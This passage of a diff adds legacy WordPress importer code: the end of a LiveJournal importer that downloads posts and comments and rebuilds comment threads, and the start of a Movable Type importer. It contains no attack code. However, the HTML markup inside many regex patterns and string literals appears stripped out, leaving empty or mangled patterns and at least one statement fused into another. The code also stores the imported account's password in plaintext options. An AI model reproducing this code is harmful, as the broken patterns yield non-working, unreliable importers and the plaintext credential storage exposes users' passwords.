'; + } + + function download_post_bodies() { + $imported_count = (int) get_option( 'ljapi_imported_count' ); + $sync_item_times = get_option( 'ljapi_sync_item_times' ); + $lastsync = get_option( 'ljapi_lastsync_posts' ); + if ( !$lastsync ) + update_option( 'ljapi_lastsync_posts', date( 'Y-m-d H:i:s', 0 ) ); + + $count = 0; + echo '
    '; + do { + $lastsync = date( 'Y-m-d H:i:s', strtotime( get_option( 'ljapi_lastsync_posts' ) ) ); + + // Get the batch of items that match up with the syncitems list + $itemlist = $this->lj_ixr( 'getevents', array( 'ver' => 1, + 'selecttype' => 'syncitems', + 'lineendings' => 'pc', + 'lastsync' => $lastsync ) ); + if ( is_wp_error( $itemlist ) ) + return $itemlist; + + if ( $num = count( $itemlist['events'] ) ) { + for ( $e = 0; $e < count( $itemlist['events'] ); $e++ ) { + $event = $itemlist['events'][$e]; + $imported_count++; + $inserted = $this->import_post( $event ); + if ( is_wp_error( $inserted ) ) + return $inserted; + if ( $sync_item_times[ $event['itemid'] ] > $lastsync ) + $lastsync = $sync_item_times[ $event['itemid'] ]; + wp_cache_flush(); + } + update_option( 'ljapi_lastsync_posts', $lastsync ); + update_option( 'ljapi_imported_count', $imported_count ); + update_option( 'ljapi_last_sync_count', $num ); + } + $count++; + } while ( $num > 0 && $count < 3 ); // Doing up to 3 requests at a time to avoid memory problems + + // Used so that step1 knows when to stop posting back on itself + update_option( 'ljapi_last_sync_count', $num ); + + // Counter just used to show progress to user + update_option( 'ljapi_post_batch', ( (int) get_option( 'ljapi_post_batch' ) + 1 ) ); + + echo '
'; + } + + function _normalize_tag( $matches ) { + return '<' . strtolower( $matches[1] ); + } + + function import_post( $post ) { + global $wpdb; + + // Make sure we haven't already imported this one + if ( $this->get_wp_post_ID( $post['itemid'] ) ) + return; + + $user = wp_get_current_user(); + $post_author = $user->ID; + $post['security'] = !empty( $post['security'] ) ? $post['security'] : ''; + $post_status = ( 'private' == trim( $post['security'] ) ) ? 'private' : 'publish'; // Only me + $post_password = ( 'usemask' == trim( $post['security'] ) ) ? $this->protected_password : ''; // "Friends" via password + + // For some reason, LJ sometimes sends a date as "2004-04-1408:38:00" (no space btwn date/time) + $post_date = $post['eventtime']; + if ( 18 == strlen( $post_date ) ) + $post_date = substr( $post_date, 0, 10 ) . ' ' . substr( $post_date, 10 ); + + // Cleaning up and linking the title + $post_title = isset( $post['subject'] ) ? trim( $post['subject'] ) : ''; + $post_title = $this->translate_lj_user( $post_title ); // Translate it, but then we'll strip the link + $post_title = strip_tags( $post_title ); // Can't have tags in the title in WP + $post_title = $wpdb->escape( $post_title ); + + // Clean up content + $post_content = $post['event']; + $post_content = preg_replace_callback( '|<(/?[A-Z]+)|', array( &$this, '_normalize_tag' ), $post_content ); + // XHTMLize some tags + $post_content = str_replace( '
', '
', $post_content ); + $post_content = str_replace( '
', '
', $post_content ); + // lj-cut ==> + $post_content = preg_replace( '||is', '', $post_content ); + $post_content = str_replace( array( '', '' ), array( '', '' ), $post_content ); + $first = strpos( $post_content, '|sUi', '', substr( $post_content, $first + 1 ) ); + // lj-user ==> a href + $post_content = $this->translate_lj_user( $post_content ); + //$post_content = force_balance_tags( $post_content ); + $post_content = $wpdb->escape( $post_content ); + + // Handle any tags associated with the post + $tags_input = !empty( $post['props']['taglist'] ) ? $post['props']['taglist'] : ''; + + // Check if comments are closed on this post + $comment_status = !empty( $post['props']['opt_nocomments'] ) ? 'closed' : 'open'; + + echo '
  • '; + if ( $post_id = post_exists( $post_title, $post_content, $post_date ) ) { + printf( __( 'Post %s already exists.' ), stripslashes( $post_title ) ); + } else { + printf( __( 'Imported post %s...' ), stripslashes( $post_title ) ); + $postdata = compact( 'post_author', 'post_date', 'post_content', 'post_title', 'post_status', 'post_password', 'tags_input', 'comment_status' ); + $post_id = wp_insert_post( $postdata, true ); + if ( is_wp_error( $post_id ) ) { + if ( 'empty_content' == $post_id->get_error_code() ) + return; // Silent skip on "empty" posts + return $post_id; + } + if ( !$post_id ) { + _e( 'Couldn’t get post ID (creating post failed!)' ); + echo '
  • '; + return new WP_Error( 'insert_post_failed', __( 'Failed to create post.' ) ); + } + + // Handle all the metadata for this post + $this->insert_postmeta( $post_id, $post ); + } + echo ''; + } + + // Convert lj-user tags to links to that user + function translate_lj_user( $str ) { + return preg_replace( '||', '$1', $str ); + } + + function insert_postmeta( $post_id, $post ) { + // Need the original LJ id for comments + add_post_meta( $post_id, 'lj_itemid', $post['itemid'] ); + + // And save the permalink on LJ in case we want to link back or something + add_post_meta( $post_id, 'lj_permalink', $post['url'] ); + + // Supports the following "props" from LJ, saved as lj_ in wp_postmeta + // Adult Content - adult_content + // Location - current_coords + current_location + // Mood - current_mood (translated from current_moodid) + // Music - current_music + // Userpic - picture_keyword + foreach ( array( 'adult_content', 'current_coords', 'current_location', 'current_moodid', 'current_music', 'picture_keyword' ) as $prop ) { + if ( !empty( $post['props'][$prop] ) ) { + if ( 'current_moodid' == $prop ) { + $prop = 'current_mood'; + $val = $this->moods[ $post['props']['current_moodid'] ]; + } else { + $val = $post['props'][$prop]; + } + add_post_meta( $post_id, 'lj_' . $prop, $val ); + } + } + } + + // Set up a session (authenticate) with LJ + function get_session() { + // Get a session via XMLRPC + $cookie = $this->lj_ixr( 'sessiongenerate', array( 'ver' => 1, 'expiration' => 'short' ) ); + if ( is_wp_error( $cookie ) ) + return new WP_Error( 'cookie', __( 'Could not get a cookie from LiveJournal. Please try again soon.' ) ); + return new WP_Http_Cookie( array( 'name' => 'ljsession', 'value' => $cookie['ljsession'] ) ); + } + + // Loops through and gets comment meta from LJ in batches + function download_comment_meta() { + $cookie = $this->get_session(); + if ( is_wp_error( $cookie ) ) + return $cookie; + + // Load previous state (if any) + $this->usermap = (array) get_option( 'ljapi_usermap' ); + $maxid = get_option( 'ljapi_maxid' ) ? get_option( 'ljapi_maxid' ) : 1; + $highest_id = get_option( 'ljapi_highest_id' ) ? get_option( 'ljapi_highest_id' ) : 0; + + // We need to loop over the metadata request until we have it all + while ( $maxid > $highest_id ) { + // Now get the meta listing + $results = wp_remote_get( $this->comments_url . '?get=comment_meta&startid=' . ( $highest_id + 1 ), + array( 'cookies' => array( $cookie ), 'timeout' => 20 ) ); + if ( is_wp_error( $results ) ) + return new WP_Error( 'comment_meta', __( 'Failed to retrieve comment meta information from LiveJournal. Please try again soon.' ) ); + + $results = wp_remote_retrieve_body( $results ); + + // Get the maxid so we know if we have them all yet + preg_match( '|(\d+)|', $results, $matches ); + if ( 0 == $matches[1] ) { + // No comment meta = no comments for this journal + echo '

    ' . __( 'You have no comments to import!' ) . '

    '; + update_option( 'ljapi_highest_id', 1 ); + update_option( 'ljapi_highest_comment_id', 1 ); + return false; // Bail out of comment importing entirely + } + $maxid = !empty( $matches[1] ) ? $matches[1] : $maxid; + + // Parse comments and get highest id available + preg_match_all( '| $highest_id ) + $highest_id = $id; + } + + // Parse out the list of user mappings, and add it to the known list + preg_match_all( '||', $results, $matches ); + foreach ( $matches[1] as $count => $userid ) + $this->usermap[$userid] = $matches[2][$count]; // need this in memory for translating ids => names + + wp_cache_flush(); + } + // endwhile - should have seen all comment meta at this point + + update_option( 'ljapi_usermap', $this->usermap ); + update_option( 'ljapi_maxid', $maxid ); + update_option( 'ljapi_highest_id', $highest_id ); + + echo '

    ' . __( ' Comment metadata downloaded successfully, proceeding with comment bodies...' ) . '

    '; + + return true; + } + + // Downloads actual comment bodies from LJ + // Inserts them all directly to the DB, with additional info stored in "spare" fields + function download_comment_bodies() { + global $wpdb; + $cookie = $this->get_session(); + if ( is_wp_error( $cookie ) ) + return $cookie; + + // Load previous state (if any) + $this->usermap = (array) get_option( 'ljapi_usermap' ); + $maxid = get_option( 'ljapi_maxid' ) ? (int) get_option( 'ljapi_maxid' ) : 1; + $highest_id = (int) get_option( 'ljapi_highest_comment_id' ); + $loop = 0; + while ( $maxid > $highest_id && $loop < 5 ) { // We do 5 loops per call to avoid memory limits + $loop++; + + // Get a batch of comments, using the highest_id we've already got as a starting point + $results = wp_remote_get( $this->comments_url . '?get=comment_body&startid=' . ( $highest_id + 1 ), + array( 'cookies' => array( $cookie ), 'timeout' => 20 ) ); + if ( is_wp_error( $results ) ) + return new WP_Error( 'comment_bodies', __( 'Failed to retrieve comment bodies from LiveJournal. Please try again soon.' ) ); + + $results = wp_remote_retrieve_body( $results ); + + // Parse out each comment and insert directly + preg_match_all( '||iUs', $results, $matches ); + for ( $c = 0; $c < count( $matches[0] ); $c++ ) { + // Keep track of highest id seen + if ( $matches[1][$c] > $highest_id ) { + $highest_id = $matches[1][$c]; + update_option( 'ljapi_highest_comment_id', $highest_id ); + } + + $comment = $matches[0][$c]; + + // Filter out any captured, deleted comments (nothing useful to import) + $comment = preg_replace( '||is', '', $comment ); + + // Parse this comment into an array and insert + $comment = $this->parse_comment( $comment ); + $comment = wp_filter_comment( $comment ); + $id = wp_insert_comment( $comment ); + + // Clear cache + clean_comment_cache( $id ); + } + + // Clear cache to preseve memory + wp_cache_flush(); + } + // endwhile - all comments downloaded and ready for bulk processing + + // Counter just used to show progress to user + update_option( 'ljapi_comment_batch', ( (int) get_option( 'ljapi_comment_batch' ) + 1 ) ); + + return true; + } + + // Takes a block of XML and parses out all the elements of the comment + function parse_comment( $comment ) { + global $wpdb; + + // Get the top-level attributes + preg_match( '|]+)>|i', $comment, $attribs ); + preg_match( '| id=\'(\d+)\'|i', $attribs[1], $matches ); + $lj_comment_ID = $matches[1]; + preg_match( '| jitemid=\'(\d+)\'|i', $attribs[1], $matches ); + $lj_comment_post_ID = $matches[1]; + preg_match( '| posterid=\'(\d+)\'|i', $attribs[1], $matches ); + $comment_author_ID = isset( $matches[1] ) ? $matches[1] : 0; + preg_match( '| parentid=\'(\d+)\'|i', $attribs[1], $matches ); // optional + $lj_comment_parent = isset( $matches[1] ) ? $matches[1] : 0; + preg_match( '| state=\'([SDFA])\'|i', $attribs[1], $matches ); // optional + $lj_comment_state = isset( $matches[1] ) ? $matches[1] : 'A'; + + // Clean up "subject" - this will become the first line of the comment in WP + preg_match( '|(.*)|is', $comment, $matches ); + if ( isset( $matches[1] ) ) { + $comment_subject = $wpdb->escape( trim( $matches[1] ) ); + if ( 'Re:' == $comment_subject ) + $comment_subject = ''; + } + + // Get the body and HTMLize it + preg_match( '|(.*)|is', $comment, $matches ); + $comment_content = !empty( $comment_subject ) ? $comment_subject . "\n\n" . $matches[1] : $matches[1]; + $comment_content = @html_entity_decode( $comment_content, ENT_COMPAT, get_option('blog_charset') ); + $comment_content = str_replace( ''', "'", $comment_content ); + $comment_content = wpautop( $comment_content ); + $comment_content = str_replace( '
    ', '
    ', $comment_content ); + $comment_content = str_replace( '
    ', '
    ', $comment_content ); + $comment_content = preg_replace_callback( '|<(/?[A-Z]+)|', array( &$this, '_normalize_tag' ), $comment_content ); + $comment_content = $wpdb->escape( trim( $comment_content ) ); + + // Get and convert the date + preg_match( '|(.*)|i', $comment, $matches ); + $comment_date = trim( str_replace( array( 'T', 'Z' ), ' ', $matches[1] ) ); + + // Grab IP if available + preg_match( '|(.*)|i', $comment, $matches ); // optional + $comment_author_IP = isset( $matches[1] ) ? $matches[1] : ''; + + // Try to get something useful for the comment author, especially if it was "my" comment + $author = ( empty( $comment_author_ID ) || empty( $this->usermap[$comment_author_ID] ) || substr( $this->usermap[$comment_author_ID], 0, 4 ) == 'ext_' ) ? __( 'Anonymous' ) : $this->usermap[$comment_author_ID]; + if ( get_option( 'ljapi_username' ) == $author ) { + $user = wp_get_current_user(); + $user_id = $user->ID; + $author = $user->display_name; + $url = trailingslashit( get_option( 'home' ) ); + } else { + $user_id = 0; + $url = ( __( 'Anonymous' ) == $author ) ? '' : 'http://' . $author . '.livejournal.com/'; + } + + // Send back the array of details + return array( 'lj_comment_ID' => $lj_comment_ID, + 'lj_comment_post_ID' => $lj_comment_post_ID, + 'lj_comment_parent' => ( !empty( $lj_comment_parent ) ? $lj_comment_parent : 0 ), + 'lj_comment_state' => $lj_comment_state, + 'comment_post_ID' => $this->get_wp_post_ID( $lj_comment_post_ID ), + 'comment_author' => $author, + 'comment_author_url' => $url, + 'comment_author_email' => '', + 'comment_content' => $comment_content, + 'comment_date' => $comment_date, + 'comment_author_IP' => ( !empty( $comment_author_IP ) ? $comment_author_IP : '' ), + 'comment_approved' => ( in_array( $lj_comment_state, array( 'A', 'F' ) ) ? 1 : 0 ), + 'comment_karma' => $lj_comment_ID, // Need this and next value until rethreading is done + 'comment_agent' => $lj_comment_parent, + 'comment_type' => 'livejournal', // Custom type, so we can find it later for processing + 'user_ID' => $user_id + ); + } + + + // Gets the post_ID that a LJ post has been saved as within WP + function get_wp_post_ID( $post ) { + global $wpdb; + + if ( empty( $this->postmap[$post] ) ) + $this->postmap[$post] = (int) $wpdb->get_var( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = 'lj_itemid' AND meta_value = %d", $post ) ); + + return $this->postmap[$post]; + } + + // Gets the comment_ID that a LJ comment has been saved as within WP + function get_wp_comment_ID( $comment ) { + global $wpdb; + if ( empty( $this->commentmap[$comment] ) ) + $this->commentmap[$comment] = $wpdb->get_var( $wpdb->prepare( "SELECT comment_ID FROM $wpdb->comments WHERE comment_karma = %d", $comment ) ); + return $this->commentmap[$comment]; + } + + function lj_ixr() { + if ( $challenge = $this->ixr->query( 'LJ.XMLRPC.getchallenge' ) ) { + $challenge = $this->ixr->getResponse(); + } + if ( isset( $challenge['challenge'] ) ) { + $params = array( 'username' => $this->username, + 'auth_method' => 'challenge', + 'auth_challenge' => $challenge['challenge'], + 'auth_response' => md5( $challenge['challenge'] . md5( $this->password ) ) ); + } else { + return new WP_Error( 'IXR', __( 'LiveJournal is not responding to authentication requests. Please wait a while and then try again.' ) ); + } + + $args = func_get_args(); + $method = array_shift( $args ); + if ( isset( $args[0] ) ) + $params = array_merge( $params, $args[0] ); + if ( $this->ixr->query( 'LJ.XMLRPC.' . $method, $params ) ) { + return $this->ixr->getResponse(); + } else { + return new WP_Error( 'IXR', __( 'XML-RPC Request Failed -- ' ) . $this->ixr->getErrorCode() . ': ' . $this->ixr->getErrorMessage() ); + } + } + + function dispatch() { + if ( empty( $_REQUEST['step'] ) ) + $step = 0; + else + $step = (int) $_REQUEST['step']; + + $this->header(); + + switch ( $step ) { + case -1 : + $this->cleanup(); + // Intentional no break + case 0 : + $this->greet(); + break; + case 1 : + case 2 : + case 3 : + check_admin_referer( 'lj-api-import' ); + $result = $this->{ 'step' . $step }(); + if ( is_wp_error( $result ) ) { + $this->throw_error( $result, $step ); + } + break; + } + + $this->footer(); + } + + // Technically the first half of step 1, this is separated to allow for AJAX + // calls. Sets up some variables and options and confirms authentication. + function setup() { + global $verified; + // Get details from form or from DB + if ( !empty( $_POST['lj_username'] ) && !empty( $_POST['lj_password'] ) ) { + // Store details for later + $this->username = $_POST['lj_username']; + $this->password = $_POST['lj_password']; + update_option( 'ljapi_username', $this->username ); + update_option( 'ljapi_password', $this->password ); + } else { + $this->username = get_option( 'ljapi_username' ); + $this->password = get_option( 'ljapi_password' ); + } + + // This is the password to set on protected posts + if ( !empty( $_POST['protected_password'] ) ) { + $this->protected_password = $_POST['protected_password']; + update_option( 'ljapi_protected_password', $this->protected_password ); + } else { + $this->protected_password = get_option( 'ljapi_protected_password' ); + } + + // Log in to confirm the details are correct + if ( empty( $this->username ) || empty( $this->password ) ) { + ?> +

    and password so we can download your posts and comments.' ) ?>

    +

    + lj_ixr( 'login' ); + if ( is_wp_error( $verified ) ) { + if ( 100 == $this->ixr->getErrorCode() || 101 == $this->ixr->getErrorCode() ) { + delete_option( 'ljapi_username' ); + delete_option( 'ljapi_password' ); + delete_option( 'ljapi_protected_password' ); + ?> +

    +

    + ixr ) $this->ixr = new IXR_Client( $this->ixr_url, false, 80, 30 ); + if ( empty( $_POST['login'] ) ) { + // We're looping -- load some details from DB + $this->username = get_option( 'ljapi_username' ); + $this->password = get_option( 'ljapi_password' ); + $this->protected_password = get_option( 'ljapi_protected_password' ); + } else { + // First run (non-AJAX) + $setup = $this->setup(); + if ( !$setup ) { + return false; + } else if ( is_wp_error( $setup ) ) { + $this->throw_error( $setup, 1 ); + return false; + } + } + + echo '
    '; + echo '

    ' . __( 'Importing Posts' ) . '

    '; + echo '

    ' . __( 'We’re downloading and importing your LiveJournal posts...' ) . '

    '; + if ( get_option( 'ljapi_post_batch' ) && count( get_option( 'ljapi_sync_item_times' ) ) ) { + $batch = count( get_option( 'ljapi_sync_item_times' ) ); + $batch = $count > 300 ? ceil( $batch / 300 ) : 1; + echo '

    ' . sprintf( __( 'Imported post batch %d of approximately %d' ), ( get_option( 'ljapi_post_batch' ) + 1 ), $batch ) . '

    '; + } + ob_flush(); flush(); + + if ( !get_option( 'ljapi_lastsync' ) || '1900-01-01 00:00:00' == get_option( 'ljapi_lastsync' ) ) { + // We haven't downloaded meta yet, so do that first + $result = $this->download_post_meta(); + if ( is_wp_error( $result ) ) { + $this->throw_error( $result, 1 ); + return false; + } + } + + // Download a batch of actual posts + $result = $this->download_post_bodies(); + if ( is_wp_error( $result ) ) { + if ( 406 == $this->ixr->getErrorCode() ) { + ?> +

    +

    + next_step( 1, __( 'Try Again' ) ); + return false; + } else { + $this->throw_error( $result, 1 ); + return false; + } + } + + if ( get_option( 'ljapi_last_sync_count' ) > 0 ) { + ?> +
    + + +

    +
    + auto_ajax( 'ljapi-auto-repost', 'auto-message', 0 ); ?> + ' . __( 'Your posts have all been imported, but wait – there’s more! Now we need to download & import your comments.' ) . '

    '; + echo $this->next_step( 2, __( 'Download my comments »' ) ); + $this->auto_submit(); + } + echo '
    '; + } + + // Download comments to local XML + function step2() { + set_time_limit( 0 ); + update_option( 'ljapi_step', 2 ); + $this->username = get_option( 'ljapi_username' ); + $this->password = get_option( 'ljapi_password' ); + $this->ixr = new IXR_Client( $this->ixr_url, false, 80, 30 ); + + echo '
    '; + echo '

    ' . __( 'Downloading Comments' ) . '

    '; + echo '

    ' . __( 'Now we will download your comments so we can import them (this could take a long time if you have lots of comments)...' ) . '

    '; + ob_flush(); flush(); + + if ( !get_option( 'ljapi_usermap' ) ) { + // We haven't downloaded meta yet, so do that first + $result = $this->download_comment_meta(); + if ( is_wp_error( $result ) ) { + $this->throw_error( $result, 2 ); + return false; + } + } + + // Download a batch of actual comments + $result = $this->download_comment_bodies(); + if ( is_wp_error( $result ) ) { + $this->throw_error( $result, 2 ); + return false; + } + + $maxid = get_option( 'ljapi_maxid' ) ? (int) get_option( 'ljapi_maxid' ) : 1; + $highest_id = (int) get_option( 'ljapi_highest_comment_id' ); + if ( $maxid > $highest_id ) { + $batch = $maxid > 5000 ? ceil( $maxid / 5000 ) : 1; + ?> +
    +

    approximately %d' ), get_option( 'ljapi_comment_batch' ), $batch ) ?>

    + + +

    +
    + auto_ajax( 'ljapi-auto-repost', 'auto-message', 0 ); ?> + ' . __( 'Your comments have all been imported now, but we still need to rebuild your conversation threads.' ) . '

    '; + echo $this->next_step( 3, __( 'Rebuild my comment threads »' ) ); + $this->auto_submit(); + } + echo '
    '; + } + + // Re-thread comments already in the DB + function step3() { + global $wpdb; + set_time_limit( 0 ); + update_option( 'ljapi_step', 3 ); + + echo '
    '; + echo '

    ' . __( 'Threading Comments' ) . '

    '; + echo '

    ' . __( 'We are now re-building the threading of your comments (this can also take a while if you have lots of comments)...' ) . '

    '; + ob_flush(); flush(); + + // Only bother adding indexes if they have over 5000 comments (arbitrary number) + $imported_comments = $wpdb->get_var( "SELECT COUNT(*) FROM {$wpdb->comments} WHERE comment_type = 'livejournal'" ); + $added_indices = false; + if ( 5000 < $imported_comments ) { + include_once(ABSPATH . 'wp-admin/includes/upgrade.php'); + $added_indices = true; + add_clean_index( $wpdb->comments, 'comment_type' ); + add_clean_index( $wpdb->comments, 'comment_karma' ); + add_clean_index( $wpdb->comments, 'comment_agent' ); + } + + // Get LJ comments, which haven't been threaded yet, 5000 at a time and thread them + while ( $comments = $wpdb->get_results( "SELECT comment_ID, comment_agent FROM {$wpdb->comments} WHERE comment_type = 'livejournal' AND comment_agent != '0' LIMIT 5000", OBJECT ) ) { + foreach ( $comments as $comment ) { + $wpdb->update( $wpdb->comments, + array( 'comment_parent' => $this->get_wp_comment_ID( $comment->comment_agent ), 'comment_type' => 'livejournal-done' ), + array( 'comment_ID' => $comment->comment_ID ) ); + } + wp_cache_flush(); + $wpdb->flush(); + } + + // Revert the comments table back to normal and optimize it to reclaim space + if ( $added_indices ) { + drop_index( $wpdb->comments, 'comment_type' ); + drop_index( $wpdb->comments, 'comment_karma' ); + drop_index( $wpdb->comments, 'comment_agent' ); + $wpdb->query( "OPTIMIZE TABLE {$wpdb->comments}" ); + } + + // Clean up database and we're out + $this->cleanup(); + do_action( 'import_done', 'livejournal' ); + if ( $imported_comments > 1 ) + echo '

    ' . sprintf( __( "Successfully re-threaded %s comments." ), number_format( $imported_comments ) ) . '

    '; + echo '

    '; + printf( __( 'All done. Have fun!' ), get_option( 'home' ) ); + echo '

    '; + echo '
    '; + } + + // Output an error message with a button to try again. + function throw_error( $error, $step ) { + echo '

    ' . $error->get_error_message() . '

    '; + echo $this->next_step( $step, __( 'Try Again' ) ); + } + + // Returns the HTML for a link to the next page + function next_step( $next_step, $label, $id = 'ljapi-next-form' ) { + $str = '
    '; + $str .= wp_nonce_field( 'lj-api-import', '_wpnonce', true, false ); + $str .= wp_referer_field( false ); + $str .= ''; + $str .= '

    '; + $str .= '
    '; + + return $str; + } + + // Automatically submit the specified form after $seconds + // Include a friendly countdown in the element with id=$msg + function auto_submit( $id = 'ljapi-next-form', $msg = 'auto-message', $seconds = 10 ) { + ?>update( $wpdb->comments, + array( 'comment_karma' => 0, 'comment_agent' => 'WP LJ Importer', 'comment_type' => '' ), + array( 'comment_type' => 'livejournal-done' ) ); + $wpdb->update( $wpdb->comments, + array( 'comment_karma' => 0, 'comment_agent' => 'WP LJ Importer', 'comment_type' => '' ), + array( 'comment_type' => 'livejournal' ) ); + } + + function LJ_API_Import() { + $this->__construct(); + } + + function __construct() { + // Nothing + } +} + +$lj_api_import = new LJ_API_Import(); + +register_importer( 'livejournal', __( 'LiveJournal' ), __( 'Import posts from LiveJournal using their API.' ), array( $lj_api_import, 'dispatch' ) ); +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/import/mt.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/import/mt.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,514 @@ +'; + screen_icon(); + echo '

    '.__('Import Movable Type or TypePad').'

    '; + } + + function footer() { + echo ''; + } + + function greet() { + $this->header(); +?> +
    +

    mt-export.txt in your /wp-content/ directory and then click "Import mt-export.txt"'); ?>

    + + +
    + + +

    + +mt-export.txt in your /wp-content/ directory'); ?>

    +

    + +

    +
    +

    out of memory error try splitting up the import file into pieces.'); ?>

    +
    +footer(); + } + + function users_form($n) { + global $wpdb; + $users = $wpdb->get_results("SELECT * FROM $wpdb->users ORDER BY ID"); +?> + has_gzip() ) + return gzopen($filename, $mode); + return fopen($filename, $mode); + } + + function feof($fp) { + if ( $this->has_gzip() ) + return gzeof($fp); + return feof($fp); + } + + function fgets($fp, $len=8192) { + if ( $this->has_gzip() ) + return gzgets($fp, $len); + return fgets($fp, $len); + } + + function fclose($fp) { + if ( $this->has_gzip() ) + return gzclose($fp); + return fclose($fp); + } + + //function to check the authorname and do the mapping + function checkauthor($author) { + //mtnames is an array with the names in the mt import file + $pass = wp_generate_password(); + if (!(in_array($author, $this->mtnames))) { //a new mt author name is found + ++ $this->j; + $this->mtnames[$this->j] = $author; //add that new mt author name to an array + $user_id = username_exists($this->newauthornames[$this->j]); //check if the new author name defined by the user is a pre-existing wp user + if (!$user_id) { //banging my head against the desk now. + if ($this->newauthornames[$this->j] == 'left_blank') { //check if the user does not want to change the authorname + $user_id = wp_create_user($author, $pass); + $this->newauthornames[$this->j] = $author; //now we have a name, in the place of left_blank. + } else { + $user_id = wp_create_user($this->newauthornames[$this->j], $pass); + } + } else { + return $user_id; // return pre-existing wp username if it exists + } + } else { + $key = array_search($author, $this->mtnames); //find the array key for $author in the $mtnames array + $user_id = username_exists($this->newauthornames[$key]); //use that key to get the value of the author's name from $newauthornames + } + + return $user_id; + } + + function get_mt_authors() { + $temp = array(); + $authors = array(); + + $handle = $this->fopen($this->file, 'r'); + if ( $handle == null ) + return false; + + $in_comment = false; + while ( $line = $this->fgets($handle) ) { + $line = trim($line); + + if ( 'COMMENT:' == $line ) + $in_comment = true; + else if ( '-----' == $line ) + $in_comment = false; + + if ( $in_comment || 0 !== strpos($line,"AUTHOR:") ) + continue; + + $temp[] = trim( substr($line, strlen("AUTHOR:")) ); + } + + //we need to find unique values of author names, while preserving the order, so this function emulates the unique_value(); php function, without the sorting. + $authors[0] = array_shift($temp); + $y = count($temp) + 1; + for ($x = 1; $x < $y; $x ++) { + $next = array_shift($temp); + if (!(in_array($next, $authors))) + array_push($authors, "$next"); + } + + $this->fclose($handle); + + return $authors; + } + + function get_authors_from_post() { + $formnames = array (); + $selectnames = array (); + + foreach ($_POST['user'] as $key => $line) { + $newname = trim(stripslashes($line)); + if ($newname == '') + $newname = 'left_blank'; //passing author names from step 1 to step 2 is accomplished by using POST. left_blank denotes an empty entry in the form. + array_push($formnames, "$newname"); + } // $formnames is the array with the form entered names + + foreach ($_POST['userselect'] as $user => $key) { + $selected = trim(stripslashes($key)); + array_push($selectnames, "$selected"); + } + + $count = count($formnames); + for ($i = 0; $i < $count; $i ++) { + if ($selectnames[$i] != '#NONE#') { //if no name was selected from the select menu, use the name entered in the form + array_push($this->newauthornames, "$selectnames[$i]"); + } else { + array_push($this->newauthornames, "$formnames[$i]"); + } + } + } + + function mt_authors_form() { +?> +
    + +

    +

    +

    italics. For each of these names, you can either pick an author in your WordPress installation from the menu, or enter a name for the author in the textbox.'); ?>

    +

    + get_mt_authors(); + echo '
      '; + echo '
      '; + wp_nonce_field('import-mt'); + $j = -1; + foreach ($authors as $author) { + ++ $j; + echo '
    1. '; + } + + echo '

      '.'
      '; + echo '
      '; + echo '
    '; + + } + + function select_authors() { + if ( $_POST['upload_type'] === 'ftp' ) { + $file['file'] = WP_CONTENT_DIR . '/mt-export.txt'; + if ( !file_exists($file['file']) ) + $file['error'] = __('mt-export.txt does not exist'); + } else { + $file = wp_import_handle_upload(); + } + if ( isset($file['error']) ) { + $this->header(); + echo '

    '.__('Sorry, there has been an error').'.

    '; + echo '

    ' . $file['error'] . '

    '; + $this->footer(); + return; + } + $this->file = $file['file']; + $this->id = (int) $file['id']; + + $this->mt_authors_form(); + } + + function save_post(&$post, &$comments, &$pings) { + // Reset the counter + set_time_limit(30); + $post = get_object_vars($post); + $post = add_magic_quotes($post); + $post = (object) $post; + + if ( $post_id = post_exists($post->post_title, '', $post->post_date) ) { + echo '
  • '; + printf(__('Post %s already exists.'), stripslashes($post->post_title)); + } else { + echo '
  • '; + printf(__('Importing post %s...'), stripslashes($post->post_title)); + + if ( '' != trim( $post->extended ) ) + $post->post_content .= "\n\n$post->extended"; + + $post->post_author = $this->checkauthor($post->post_author); //just so that if a post already exists, new users are not created by checkauthor + $post_id = wp_insert_post($post); + if ( is_wp_error( $post_id ) ) + return $post_id; + + // Add categories. + if ( 0 != count($post->categories) ) { + wp_create_categories($post->categories, $post_id); + } + + // Add tags or keywords + if ( 1 < strlen($post->post_keywords) ) { + // Keywords exist. + printf(__('
    Adding tags %s...'), stripslashes($post->post_keywords)); + wp_add_post_tags($post_id, $post->post_keywords); + } + } + + $num_comments = 0; + foreach ( $comments as $comment ) { + $comment = get_object_vars($comment); + $comment = add_magic_quotes($comment); + + if ( !comment_exists($comment['comment_author'], $comment['comment_date'])) { + $comment['comment_post_ID'] = $post_id; + $comment = wp_filter_comment($comment); + wp_insert_comment($comment); + $num_comments++; + } + } + + if ( $num_comments ) + printf(' '._n('(%s comment)', '(%s comments)', $num_comments), $num_comments); + + $num_pings = 0; + foreach ( $pings as $ping ) { + $ping = get_object_vars($ping); + $ping = add_magic_quotes($ping); + + if ( !comment_exists($ping['comment_author'], $ping['comment_date'])) { + $ping['comment_content'] = "{$ping['title']}\n\n{$ping['comment_content']}"; + $ping['comment_post_ID'] = $post_id; + $ping = wp_filter_comment($ping); + wp_insert_comment($ping); + $num_pings++; + } + } + + if ( $num_pings ) + printf(' '._n('(%s ping)', '(%s pings)', $num_pings), $num_pings); + + echo "
  • "; + //ob_flush();flush(); + } + + function process_posts() { + global $wpdb; + + $handle = $this->fopen($this->file, 'r'); + if ( $handle == null ) + return false; + + $context = ''; + $post = new StdClass(); + $comment = new StdClass(); + $comments = array(); + $ping = new StdClass(); + $pings = array(); + + echo "
      "; + + while ( $line = $this->fgets($handle) ) { + $line = trim($line); + + if ( '-----' == $line ) { + // Finishing a multi-line field + if ( 'comment' == $context ) { + $comments[] = $comment; + $comment = new StdClass(); + } else if ( 'ping' == $context ) { + $pings[] = $ping; + $ping = new StdClass(); + } + $context = ''; + } else if ( '--------' == $line ) { + // Finishing a post. + $context = ''; + $result = $this->save_post($post, $comments, $pings); + if ( is_wp_error( $result ) ) + return $result; + $post = new StdClass; + $comment = new StdClass(); + $ping = new StdClass(); + $comments = array(); + $pings = array(); + } else if ( 'BODY:' == $line ) { + $context = 'body'; + } else if ( 'EXTENDED BODY:' == $line ) { + $context = 'extended'; + } else if ( 'EXCERPT:' == $line ) { + $context = 'excerpt'; + } else if ( 'KEYWORDS:' == $line ) { + $context = 'keywords'; + } else if ( 'COMMENT:' == $line ) { + $context = 'comment'; + } else if ( 'PING:' == $line ) { + $context = 'ping'; + } else if ( 0 === strpos($line, "AUTHOR:") ) { + $author = trim( 